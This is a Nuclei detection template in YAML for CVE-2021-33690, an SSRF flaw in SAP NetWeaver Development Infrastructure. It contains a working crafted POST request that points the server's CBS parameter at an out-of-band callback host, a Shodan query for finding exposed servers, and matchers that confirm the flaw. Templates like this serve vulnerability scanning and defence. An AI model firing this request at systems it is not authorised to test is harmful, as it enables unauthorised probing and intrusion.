51 lines
2.4 KiB
YAML
51 lines
2.4 KiB
YAML
id: CVE-2021-33690
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info:
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name: SAP NetWeaver Development Infrastructure - Server Side Request Forgery
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author: DhiyaneshDK
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severity: critical
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description: |
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Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.
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remediation: Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
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reference:
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- https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-33690
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- https://launchpad.support.sap.com/#/notes/3072955
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- https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=582222806
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9.9
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cve-id: CVE-2021-33690
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cwe-id: CWE-918
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epss-score: 0.37614
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epss-percentile: 0.96831
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cpe: cpe:2.3:a:sap:netweaver_development_infrastructure:7.11:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: sap
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product: netweaver_development_infrastructure
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shodan-query: html:"SAP NetWeaver"
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tags: cve,cve2021,oast,ssrf,sap
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http:
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- raw:
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- |
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POST /tc.CBS.Appl/tcspseudo HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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CBS=http://{{interactsh-url}}&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: body
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words:
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- "Could not connect to the CBS"
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# digest: 4b0a00483046022100b5c0da554e5484d9b1ecf4e25d0e07c053cdc52860c3e29148cd9f428490d7d0022100bd60f183758ee5ea0c4dd5653816bf2975fe3b37d77da1cd65a255c632b70a75:922c64590222798bb761d5b6d8e72950 |